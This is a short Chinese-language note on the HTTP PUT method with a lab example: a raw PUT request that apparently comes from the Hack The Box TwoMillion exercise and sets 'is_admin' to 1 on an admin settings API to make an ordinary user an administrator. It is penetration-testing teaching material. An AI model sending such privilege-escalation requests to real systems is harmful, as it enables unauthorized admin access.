PUT 请求用于向服务器更新指定资源,可以理解为对服务器上的资源进行修改操作。使用 PUT 请求方式会覆盖原有的资源内容,因此需要谨慎使用。
在渗透测试中,有可能服务端会暴露PUT请求的api,如修改用户权限的api,例如HTB的TwoMillion靶场就利用了这个api将普通用户提升为管理员用户:
- PUT /api/v1/admin/settings/update HTTP/1.1
-
- Host: 2million.htb
-
- Upgrade-Insecure-Requests: 1
-
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
-
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
-
- Accept-Encoding: gzip, deflate, br
-
- Accept-Language: zh-CN,zh;q=0.9
-
- Cookie: PHPSESSID=lb54v6es5dm1k3h5fvk8vu325p
-
- Connection: close
-
- Content-Type:application/json
-
- Content-Length: 51
-
-
-
- {
-
- "email":"12345@gmail.com",
-
- "is_admin":1
-
- }